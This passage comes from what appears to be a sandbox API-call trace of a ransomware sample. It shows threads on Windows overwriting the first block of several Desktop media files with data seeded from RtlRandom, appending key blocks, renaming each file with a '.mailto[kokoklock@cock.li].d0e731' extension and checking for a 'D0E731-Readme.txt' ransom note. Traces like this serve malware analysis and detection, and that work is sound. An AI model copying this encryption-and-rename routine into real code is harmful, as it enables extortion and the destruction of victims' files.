(lpFileName="C:\\Users\\FD1HVy\\Desktop\\b-J69rI1LaDazjYe1u.flv.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0070.987] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6330) returned 1 [0070.987] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\b-J69rI1LaDazjYe1u.flv", dwFileAttributes=0x20) returned 0 [0070.987] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x56) returned 0x347fac0 [0070.987] wcscpy (in: _Dest=0x347fac0, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0070.987] wcscat (in: _Dest=0x347fac0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0070.987] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0070.988] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fac0) returned 1 [0070.988] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427340) returned 1 [0070.988] RtlExitUserThread (Status=0x1) Thread: id = 441 os_tid = 0x344 [0069.822] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\b0SqoygWnGE.mp4" (normalized: "c:\\users\\fd1hvy\\desktop\\b0sqoygwnge.mp4")) returned 0x20 [0069.822] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\b0SqoygWnGE.mp4", dwFileAttributes=0x20) returned 1 [0069.822] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\b0SqoygWnGE.mp4" (normalized: "c:\\users\\fd1hvy\\desktop\\b0sqoygwnge.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x774 [0069.822] GetFileSizeEx (in: hFile=0x774, lpFileSize=0x12a3fe3c | out: lpFileSize=0x12a3fe3c*=66196) returned 1 [0069.822] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x10290, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.822] ReadFile (in: hFile=0x774, lpBuffer=0x12a3fe10, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x12a3fe0c, lpOverlapped=0x0 | out: lpBuffer=0x12a3fe10*, lpNumberOfBytesRead=0x12a3fe0c*=0x4, lpOverlapped=0x0) returned 1 [0069.822] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.822] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bc08 [0069.822] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bb18 [0069.822] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bca8 [0069.823] NtQuerySystemTime (in: CurrentTime=0x12a3fde8 | out: CurrentTime=0x12a3fde8*=132121176277129334) returned 0x0 [0069.823] RtlRandom (in: Seed=0x12a3fdf4 | out: Seed=0x12a3fdf4) returned 0x6926f014 [0069.823] RtlRandom (in: Seed=0x12a3fdf4 | out: Seed=0x12a3fdf4) returned 0xef8919d7 [0069.823] RtlRandom (in: Seed=0x12a3fdf4 | out: Seed=0x12a3fdf4) returned 0x3dc592d1 [0069.823] RtlRandom (in: Seed=0x12a3fdf4 | out: Seed=0x12a3fdf4) returned 0xe458cbcc [0069.823] RtlRandom (in: Seed=0x12a3fdf4 | out: Seed=0x12a3fdf4) returned 0xfd36051d [0069.823] RtlRandom (in: Seed=0x12a3fdf4 | out: Seed=0x12a3fdf4) returned 0x9395b2a6 [0069.823] RtlRandom (in: Seed=0x12a3fdf4 | out: Seed=0x12a3fdf4) returned 0x87b6d614 [0069.823] RtlRandom (in: Seed=0x12a3fdf4 | out: Seed=0x12a3fdf4) returned 0xe94a9642 [0069.823] RtlRandom (in: Seed=0x12a3fdf4 | out: Seed=0x12a3fdf4) returned 0x27ff6c00 [0069.823] RtlRandom (in: Seed=0x12a3fdf4 | out: Seed=0x12a3fdf4) returned 0x411e6a06 [0069.823] RtlRandom (in: Seed=0x12a3fdf4 | out: Seed=0x12a3fdf4) returned 0x16b05264 [0069.823] RtlRandom (in: Seed=0x12a3fdf4 | out: Seed=0x12a3fdf4) returned 0x4ed7d585 [0069.823] RtlRandom (in: Seed=0x12a3fdf4 | out: Seed=0x12a3fdf4) returned 0xd44f34fa [0069.823] RtlRandom (in: Seed=0x12a3fdf4 | out: Seed=0x12a3fdf4) returned 0x8bb43cbb [0069.823] RtlRandom (in: Seed=0x12a3fdf4 | out: Seed=0x12a3fdf4) returned 0x6c5fb4b3 [0069.823] RtlRandom (in: Seed=0x12a3fdf4 | out: Seed=0x12a3fdf4) returned 0xa230eed1 [0069.823] RtlRandom (in: Seed=0x12a3fdf4 | out: Seed=0x12a3fdf4) returned 0x52530f77 [0069.823] RtlRandom (in: Seed=0x12a3fdf4 | out: Seed=0x12a3fdf4) returned 0xe9b544e [0069.823] RtlRandom (in: Seed=0x12a3fdf4 | out: Seed=0x12a3fdf4) returned 0x17dc7dce [0069.823] RtlRandom (in: Seed=0x12a3fdf4 | out: Seed=0x12a3fdf4) returned 0x7758e11a [0069.823] RtlRandom (in: Seed=0x12a3fdf4 | out: Seed=0x12a3fdf4) returned 0x9e71d2f6 [0069.823] RtlRandom (in: Seed=0x12a3fdf4 | out: Seed=0x12a3fdf4) returned 0x2c904c2b [0069.823] RtlRandom (in: Seed=0x12a3fdf4 | out: Seed=0x12a3fdf4) returned 0x305e43bf [0069.823] RtlRandom (in: Seed=0x12a3fdf4 | out: Seed=0x12a3fdf4) returned 0x960587e5 [0069.823] RtlRandom (in: Seed=0x12a3fdf4 | out: Seed=0x12a3fdf4) returned 0xaca20fc8 [0069.823] RtlRandom (in: Seed=0x12a3fdf4 | out: Seed=0x12a3fdf4) returned 0x769ec4c8 [0069.823] RtlRandom (in: Seed=0x12a3fdf4 | out: Seed=0x12a3fdf4) returned 0xfc4ac28c [0069.823] RtlRandom (in: Seed=0x12a3fdf4 | out: Seed=0x12a3fdf4) returned 0x173e77d0 [0069.823] RtlRandom (in: Seed=0x12a3fdf4 | out: Seed=0x12a3fdf4) returned 0x786f76b1 [0069.823] RtlRandom (in: Seed=0x12a3fdf4 | out: Seed=0x12a3fdf4) returned 0x23a58867 [0069.823] RtlRandom (in: Seed=0x12a3fdf4 | out: Seed=0x12a3fdf4) returned 0x45e19f71 [0069.823] RtlRandom (in: Seed=0x12a3fdf4 | out: Seed=0x12a3fdf4) returned 0x2093c014 [0069.834] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.834] ReadFile (in: hFile=0x774, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x12a3fdc0, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x12a3fdc0*=0x4096, lpOverlapped=0x0) returned 1 [0069.834] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.834] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0069.834] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479c40 [0069.834] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342be10 [0069.834] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342be10) returned 1 [0069.835] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0069.835] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bc08 [0069.835] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bcf8 [0069.835] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bcf8) returned 1 [0069.835] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479c40) returned 1 [0069.835] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0069.835] WriteFile (in: hFile=0x774, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x12a3fdc0, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x12a3fdc0*=0x4096, lpOverlapped=0x0) returned 1 [0069.835] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0069.835] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x10294, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.835] WriteFile (in: hFile=0x774, lpBuffer=0x342bc08*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x12a3fdf8, lpOverlapped=0x0 | out: lpBuffer=0x342bc08*, lpNumberOfBytesWritten=0x12a3fdf8*=0x20, lpOverlapped=0x0) returned 1 [0069.836] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bc08) returned 1 [0069.836] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0069.836] WriteFile (in: hFile=0x774, lpBuffer=0x342bcd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x12a3fe0c, lpOverlapped=0x0 | out: lpBuffer=0x342bcd0*, lpNumberOfBytesWritten=0x12a3fe0c*=0x8, lpOverlapped=0x0) returned 1 [0069.836] WriteFile (in: hFile=0x774, lpBuffer=0x12a3fe24*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x12a3fe0c, lpOverlapped=0x0 | out: lpBuffer=0x12a3fe24*, lpNumberOfBytesWritten=0x12a3fe0c*=0x4, lpOverlapped=0x0) returned 1 [0069.836] WriteFile (in: hFile=0x774, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x12a3fe0c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x12a3fe0c*=0x4, lpOverlapped=0x0) returned 1 [0069.836] WriteFile (in: hFile=0x774, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x12a3fe0c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x12a3fe0c*=0x6c, lpOverlapped=0x0) returned 1 [0069.836] WriteFile (in: hFile=0x774, lpBuffer=0x342bb18*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x12a3fe0c, lpOverlapped=0x0 | out: lpBuffer=0x342bb18*, lpNumberOfBytesWritten=0x12a3fe0c*=0x20, lpOverlapped=0x0) returned 1 [0069.836] WriteFile (in: hFile=0x774, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x12a3fe0c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x12a3fe0c*=0x4, lpOverlapped=0x0) returned 1 [0069.836] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bb18) returned 1 [0069.836] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bd48) returned 1 [0069.836] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bcd0) returned 1 [0069.836] CloseHandle (hObject=0x774) returned 1 [0070.918] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x92) returned 0x33eae10 [0070.918] wcscpy (in: _Dest=0x33eae10, _Source="C:\\Users\\FD1HVy\\Desktop\\b0SqoygWnGE.mp4" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\b0SqoygWnGE.mp4") returned="C:\\Users\\FD1HVy\\Desktop\\b0SqoygWnGE.mp4" [0070.918] wcscat (in: _Dest=0x33eae10, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\b0SqoygWnGE.mp4.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\b0SqoygWnGE.mp4.mailto[kokoklock@cock.li].d0e731" [0070.918] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\b0SqoygWnGE.mp4" (normalized: "c:\\users\\fd1hvy\\desktop\\b0sqoygwnge.mp4"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\b0SqoygWnGE.mp4.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\b0sqoygwnge.mp4.mailto[kokoklock@cock.li].d0e731")) returned 1 [0070.985] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\b0SqoygWnGE.mp4.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0070.986] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eae10) returned 1 [0070.986] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\b0SqoygWnGE.mp4", dwFileAttributes=0x20) returned 0 [0070.986] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x56) returned 0x347fc40 [0070.986] wcscpy (in: _Dest=0x347fc40, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0070.986] wcscat (in: _Dest=0x347fc40, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0070.986] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0070.986] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fc40) returned 1 [0070.986] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430b78) returned 1 [0070.986] RtlExitUserThread (Status=0x1) Thread: id = 442 os_tid = 0xe88 [0069.839] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\cGDwigzIS7.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\cgdwigzis7.bmp")) returned 0x20 [0069.839] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\cGDwigzIS7.bmp", dwFileAttributes=0x20) returned 1 [0069.840] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\cGDwigzIS7.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\cgdwigzis7.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x774 [0069.840] GetFileSizeEx (in: hFile=0x774, lpFileSize=0x12abf958 | out: lpFileSize=0x12abf958*=45342) returned 1 [0069.840] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0xb11a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.840] ReadFile (in: hFile=0x774, lpBuffer=0x12abf92c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x12abf928, lpOverlapped=0x0 | out: lpBuffer=0x12abf92c*, lpNumberOfBytesRead=0x12abf928*=0x4, lpOverlapped=0x0) returned 1 [0069.840] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.840] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bc08 [0069.840] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bb18 [0069.840] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bcd0 [0069.840] NtQuerySystemTime (in: CurrentTime=0x12abf904 | out: CurrentTime=0x12abf904*=132121176277285615) returned 0x0 [0069.840] RtlRandom (in: Seed=0x12abf910 | out: Seed=0x12abf910) returned 0x7760494b [0069.840] RtlRandom (in: Seed=0x12abf910 | out: Seed=0x12abf910) returned 0x81bd13e0 [0069.840] RtlRandom (in: Seed=0x12abf910 | out: Seed=0x12abf910) returned 0xc7a48b91 [0069.840] RtlRandom (in: Seed=0x12abf910 | out: Seed=0x12abf910) returned 0x9c6dd01f [0069.840] RtlRandom (in: Seed=0x12abf910 | out: Seed=0x12abf910) returned 0x82f29011 [0069.840] RtlRandom (in: Seed=0x12abf910 | out: Seed=0x12abf910) returned 0xeba75834 [0069.840] RtlRandom (in: Seed=0x12abf910 | out: Seed=0x12abf910) returned 0xa3332c27 [0069.840] RtlRandom (in: Seed=0x12abf910 | out: Seed=0x12abf910) returned 0xcdf7101 [0069.840] RtlRandom (in: Seed=0x12abf910 | out: Seed=0x12abf910) returned 0x114507f7 [0069.840] RtlRandom (in: Seed=0x12abf910 | out: Seed=0x12abf910) returned 0xee72b990 [0069.841] RtlRandom (in: Seed=0x12abf910 | out: Seed=0x12abf910) returned 0xc4f6335d [0069.841] RtlRandom (in: Seed=0x12abf910 | out: Seed=0x12abf910) returned 0xa9d8b40b [0069.841] RtlRandom (in: Seed=0x12abf910 | out: Seed=0x12abf910) returned 0x29532c57 [0069.841] RtlRandom (in: Seed=0x12abf910 | out: Seed=0x12abf910) returned 0xeaaf5535 [0069.841] RtlRandom (in: Seed=0x12abf910 | out: Seed=0x12abf910) returned 0xbb7980a7 [0069.841] RtlRandom (in: Seed=0x12abf910 | out: Seed=0x12abf910) returned 0xb53a0a7 [0069.841] RtlRandom (in: Seed=0x12abf910 | out: Seed=0x12abf910) returned 0x76e23ee3 [0069.841] RtlRandom (in: Seed=0x12abf910 | out: Seed=0x12abf910) returned 0x8d96dd80 [0069.841] RtlRandom (in: Seed=0x12abf910 | out: Seed=0x12abf910) returned 0x9de68b07 [0069.841] RtlRandom (in: Seed=0x12abf910 | out: Seed=0x12abf910) returned 0x3a00402b [0069.841] RtlRandom (in: Seed=0x12abf910 | out: Seed=0x12abf910) returned 0x4ce67338 [0069.841] RtlRandom (in: Seed=0x12abf910 | out: Seed=0x12abf910) returned 0x88896f8f [0069.841] RtlRandom (in: Seed=0x12abf910 | out: Seed=0x12abf910) returned 0x633fb68c [0069.841] RtlRandom (in: Seed=0x12abf910 | out: Seed=0x12abf910) returned 0x679c8b11 [0069.841] RtlRandom (in: Seed=0x12abf910 | out: Seed=0x12abf910) returned 0x16ef1e7e [0069.841] RtlRandom (in: Seed=0x12abf910 | out: Seed=0x12abf910) returned 0xf50b3409 [0069.841] RtlRandom (in: Seed=0x12abf910 | out: Seed=0x12abf910) returned 0xbdb1c527 [0069.841] RtlRandom (in: Seed=0x12abf910 | out: Seed=0x12abf910) returned 0x471add9b [0069.841] RtlRandom (in: Seed=0x12abf910 | out: Seed=0x12abf910) returned 0x38554001 [0069.841] RtlRandom (in: Seed=0x12abf910 | out: Seed=0x12abf910) returned 0xb18a7590 [0069.841] RtlRandom (in: Seed=0x12abf910 | out: Seed=0x12abf910) returned 0x5d1b96ef [0069.841] RtlRandom (in: Seed=0x12abf910 | out: Seed=0x12abf910) returned 0xa3a30ac9 [0069.853] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.853] ReadFile (in: hFile=0x774, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x12abf8dc, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x12abf8dc*=0x4096, lpOverlapped=0x0) returned 1 [0069.854] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.854] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0069.854] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479c40 [0069.854] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342be10 [0069.854] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342be10) returned 1 [0069.854] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0069.854] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bc08 [0069.854] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bd20 [0069.854] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bd20) returned 1 [0069.854] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479c40) returned 1 [0069.854] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0069.854] WriteFile (in: hFile=0x774, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x12abf8dc, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x12abf8dc*=0x4096, lpOverlapped=0x0) returned 1 [0069.855] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0069.855] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0xb11e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.855] WriteFile (in: hFile=0x774, lpBuffer=0x342bc08*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x12abf914, lpOverlapped=0x0 | out: lpBuffer=0x342bc08*, lpNumberOfBytesWritten=0x12abf914*=0x20, lpOverlapped=0x0) returned 1 [0069.855] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bc08) returned 1 [0069.855] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0069.855] WriteFile (in: hFile=0x774, lpBuffer=0x342bcf8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x12abf928, lpOverlapped=0x0 | out: lpBuffer=0x342bcf8*, lpNumberOfBytesWritten=0x12abf928*=0x8, lpOverlapped=0x0) returned 1 [0069.855] WriteFile (in: hFile=0x774, lpBuffer=0x12abf940*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x12abf928, lpOverlapped=0x0 | out: lpBuffer=0x12abf940*, lpNumberOfBytesWritten=0x12abf928*=0x4, lpOverlapped=0x0) returned 1 [0069.855] WriteFile (in: hFile=0x774, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x12abf928, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x12abf928*=0x4, lpOverlapped=0x0) returned 1 [0069.855] WriteFile (in: hFile=0x774, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x12abf928, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x12abf928*=0x6c, lpOverlapped=0x0) returned 1 [0069.855] WriteFile (in: hFile=0x774, lpBuffer=0x342bb18*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x12abf928, lpOverlapped=0x0 | out: lpBuffer=0x342bb18*, lpNumberOfBytesWritten=0x12abf928*=0x20, lpOverlapped=0x0) returned 1 [0069.855] WriteFile (in: hFile=0x774, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x12abf928, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x12abf928*=0x4, lpOverlapped=0x0) returned 1 [0069.855] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bb18) returned 1 [0069.856] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bd48) returned 1 [0069.856] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bcf8) returned 1 [0069.856] CloseHandle (hObject=0x774) returned 1 [0070.919] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x90) returned 0x347bdd0 [0070.919] wcscpy (in: _Dest=0x347bdd0, _Source="C:\\Users\\FD1HVy\\Desktop\\cGDwigzIS7.bmp" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\cGDwigzIS7.bmp") returned="C:\\Users\\FD1HVy\\Desktop\\cGDwigzIS7.bmp" [0070.919] wcscat (in: _Dest=0x347bdd0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\cGDwigzIS7.bmp.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\cGDwigzIS7.bmp.mailto[kokoklock@cock.li].d0e731" [0070.919] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\cGDwigzIS7.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\cgdwigzis7.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\cGDwigzIS7.bmp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\cgdwigzis7.bmp.mailto[kokoklock@cock.li].d0e731")) returned 1 [0070.983] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\cGDwigzIS7.bmp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0070.984] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347bdd0) returned 1 [0070.984] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\cGDwigzIS7.bmp", dwFileAttributes=0x20) returned 0 [0070.984] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x56) returned 0x347fc40 [0070.984] wcscpy (in: _Dest=0x347fc40, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0070.984] wcscat (in: _Dest=0x347fc40, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0070.984] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0070.984] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fc40) returned 1 [0070.984] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430808) returned 1 [0070.984] RtlExitUserThread (Status=0x1) Thread: id = 443 os_tid = 0xd7c [0069.858] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CrvV.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\crvv.gif")) returned 0x20 [0069.859] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CrvV.gif", dwFileAttributes=0x20) returned 1 [0069.859] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CrvV.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\crvv.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x774 [0069.859] GetFileSizeEx (in: hFile=0x774, lpFileSize=0x12b3fcf8 | out: lpFileSize=0x12b3fcf8*=70561) returned 1 [0069.859] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x1139d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.859] ReadFile (in: hFile=0x774, lpBuffer=0x12b3fccc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x12b3fcc8, lpOverlapped=0x0 | out: lpBuffer=0x12b3fccc*, lpNumberOfBytesRead=0x12b3fcc8*=0x4, lpOverlapped=0x0) returned 1 [0069.859] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.859] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bc08 [0069.859] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, 